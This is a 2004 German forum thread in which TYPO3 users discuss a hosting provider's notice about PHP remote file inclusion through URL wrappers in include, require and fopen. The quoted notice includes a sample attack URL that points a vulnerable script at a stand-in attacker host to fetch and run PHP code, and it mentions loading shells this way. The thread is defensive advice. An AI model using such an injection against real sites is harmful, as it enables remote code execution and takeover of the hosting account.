Zum Inhalt springen

Sicherheitsproblem mit PHP IO-Funktionen bei Typo3 ?

Erstellt am 5. Januar 2004 · 3 Antworten · letzte Antwort am 6. Januar 2004

Tags: PHP, Sicherheit, Frage

stefki ·

Hallo,

ich haben heute von meinem Provider powernetz eine Mail über Sicherheitsrisken bei den PHP IO-Funktionen, also z.B. in fopen(), require(), file() und include(), bekommen -> siehe unten.

Meine Frage lautet:
Kommen solche Aufrufe in der unten beschriebenen in Typo3 vor? Wenn ja, würde das ja eine Unmenge an Änderungen nach sich ziehen... Gibt es evtl. hierfür ein Patch oder eine bereits geänderte Version?

--------------------------------------------------------------------------------

Sehr geehrter Kunde,

nachfolgende Informationen sind für Sie relevant, wenn Sie im Rahmen
Ihrer WebSite PHP-Scripts einsetzen, die URLs in den IO-Funktionen von
PHP verwenden. Also z.B. in fopen(), require(), file() und include().

O== BEISPIEL:

fopen("http://power-netz.de","r");

Bitte beachten Sie, dass diese Funktionen auch standardmaessig in eine
Reihe von frei erhaeltlichen PHP-Foren, PHP-Boards, PHP-Shop-Systeme,
Content-Management-Systeme usw. eingebunden sind und updaten Sie
Ihre Anwendungen auf die neuesten, verfuegbaren Versionen!

O== NICHT BETROFFEN:

Sollten Sie lediglich folgende Variante benutzen:
fopen("/home/user/test-file","r");
oder http, ftp, https-Urls über fsockopen-Operationen öffnen, sind diese
Informationen für sie nicht von Relevanz!

O========= INHALTSUEBERSICHT ==========O

O=====(1.) SICHERHEITSLOECHER DURCH FOPEN
O=====(2.) DIE FOLGEN FUER SIE
O=====(3.) WAS WERDEN WIR AENDERN?
O=====(4.) WAS MUESSEN SIE AENDERN?
O=====(5.) HINWEISE FUER FOREN-/BOARD-BETREIBER
O=====(6.) HINWEISE FUER RESELLER

O==(1) SICHERHEITSLOECHER DURCH FOPEN-URL-WRAPPER ==O

Auf unseren ServerSystemen ist es derzeit über die meisten
PHP-IO-Funktionen (fopen,require,include) moeglich, http, https und
ftp-urls zu öffnen. Bei diversen anfälligen PHP-Scripts fuehrt dies zur
Moeglichkeit Programme mit den Rechten des Users auszufuehren.

Probleme entstehen vor allem bei der Benutzung von Variablen in include
und require-Funktionen.

Findet sich in einem PHP-Script z.B. folgender Code:

require ("$file");

kann dies zur Ausführung von fremden Code im PHP-Script führen.
Dabei geht der Angreifer wie folgt vor: Das PHP-Script wird in einer
speziell ausgestalteten URL aufgerufen. Im Beispiel des o.a.
Scripts koennte dies z.B. wie folgt aussehen:

http://domain.de/script.php?file=http://hackerdomain.com/php-code.txt

Da bei der derzeitigen Konfiguration von PHP auf unseren Servern alle
POST und GET-Variablen global definiert werden, liest PHP nun die URL
http://hackerdomain.com/php-code.txt ein und fuehrt den enthaltenen Code
aus.

Die URL koennte z.B. folgenden Code enthalten:

<?
print "It worked ... let's have phun";
?>

Anstelle des prints wird der Angreifer im Regelfall selbstverstaendlich
Routinen implementieren, mit denen er aus dem Internet Shells laedt,
ueber die er dann beliebige Programme mit den Rechten ihres Benutzers
ausfuehren kann!

O=========(2.) DIE FOLGEN FUER SIE ==========O

Hat ein Angreifer auf ueber den o.a. Weg Zugang zu Ihrer Praesenz
erlangt, hat er die volle Kontrolle über alle Inhalte, d.h. er kann mit
IHREN Benutzerrechten:

- Ihre Daten lesen und so ggf. Zugangsdaten zu ihrer Datenbank auslesen,
- alle Inhalte manipulieren/loeschen,
- jegliche Logins per ftp usw. herstellen, Mails versenden, manipulieren,
- Programme installieren und ausfuehren usw.

und damit ggf. erheblichen Schaden auch auf anderen Servern oder
Praesenzen anrichten. Der Angriff geht dabei fuer die weiteren
Geschaedigten von IHREM Host aus!

O=======(3.) WAS WERDEN WIR AENDERN? =======O

Aufgrund der gehaeuften Probleme mit den o.a. Sicherheitsloechern
werden wir serverseitig den fopen-url wrapper
deaktivieren!

Sie haben jedoch die Option ihn bei Bedarf in Ihren Scripts wieder zu
aktivieren aktivieren. (s.u.)

Wir bitten um Verstaendnis fuer die kurze Vorlaufzeit. Die aktuelle
Entwicklung
gebietet allerdings ein rasches Handeln!

O========(4.) WAS MUESSEN SIE AENDERN? =======O

Sollten Sie keine http, https oder ftp-urls in den IO-Funktionen verwenden
aendert sich für Sie nichts!

Sollten Sie solche oder aehnliche URLs verwenden,

fopen("http://power-netz.de","r");
include("http://power-netz.de");

muessen Sie, um die Funktion weiter funktionstuechtig zu halten,
den Code wie folgt aendern:

ini_set("allow_url_fopen","1");
fopen("http://power-netz.de","r");
include("http://power-netz.de");
ini_set("allow_url_fopen","0");

Bitte aktivieren Sie die url-Wrapper NICHT global sondern nur an den
benoetigten Stellen und achten Sie bei include und require darauf,
keine ungeprueften Variablen zu includieren.

Sollten Sie Dateien auf dem lokalen System includieren aendert sich
fuer Sie nichts und sie muessen die url-wrapper auch nicht aktivieren!

Aufgrund unserer Erfahrung zeigt sich, daß nur sehr wenige Scripts
einer Anpassung beduerfen, da in der Regel nur lokale Dateien gelesen
bzw. includiert werden.

O===(5.) HINWEISE FUER FOREN-/BOARD-BETREIBER ===O

Ggf. haben Sie selbst keine PHP-Scripts oder -Routinen entwickelt,
verwenden aber im Rahmen Ihrer Internetpraesenz ein (frei erhaeltliches)
PHP-Forum, PHP-Board, PHP-Shop-System, Content-Managementsystem
oder eine aehnliche Anwendung (ggf. inkl. entsprechender Upload-Routinen
usw.)

Bitte vergewisseren Sie sich umgehend, ob Sie auf der WebSite der Entwickler

Ihrer PHP-Software ggf. Updates oder Sicherheitspatches fuer die von Ihnen
eingesetzte(n) Anwendung(en) finden koennen und bringen Sie Ihre Software
auf den neuesten Stand!

Bitte unterschaetzen Sie NICHT die Gefahr, die von fahrlaessig eingesetzten,

veralteten PHP-Scripts, fuer Sie und andere, ausgeht!

Stoneage ·

hehe, habe ich auch bekommen. am 14.01. stellen die das um. natürlich kommen solche aufrufe in typo 3 vor. ich habe mal nach allen fopens gesucht. aber ich habe nur quergelesen, kann nicht sagen welche funktionen betroffen sind. vielleicht zb. das editieren von ressourcen? frag mich auch warum die das einfach abstellen. das wäre ja zu einfach wenn man so eine sicherheitslücke hat. wie gehst du da jetzt vor? abwarten was passiert, oder patchen?

c.

P.S.: Ich denke da wird nicht viel passieren, da ja fast alles aus der DB kommt. Viele fopens sind auch ohne url. aber es gibt halt so eine paar mit url argument.

stefki ·

nun man könnte einfach abwarten, aber wenn dann erstmal nix mehr geht ist das geschrei gross... besser wäre was vorher zu unternehmen.

also ich hab mal alles auflisten lassen.

* ca. 200 mal include(), ca. 180 mal require(), ca. 40 mal fopen und unzählige file-funktionen. dabei kommen folgende verschiedenen variationen von übergabewerten vor:

include(PATH_tslib."...");
include(PATH_t3lib."...");
include(PATH_typo3conf."...");
include(PATH_typo3."...");
include($BACK_PATH."...");
include($EXTiS_config[$EXTiS_key]["file"]);
include($TCA[$table]["ctrl"]["dynamicConfigFile"]);
include(t3lib_extMgm::extPath("....
include($temp_theScript);
include($calcScript);
include($handleScript);
include($file);
include($path."...");
include($this->thisPath."/"....);

fopen($file,"w")
fopen($url,"r")
fopen($path, 'rb');

Was könnte dabei gefährlich werden bzw. was könnte nicht mehr fuktionieren?

Stoneage ·

nur die fopen($url,"r") weil die deppen einfach http protokol für fopen abschalten. zumindest habe ich das so verstanden. aber mach dir keine sorgen, was soll den typo3 von urls laden? fast nix, oder?

c.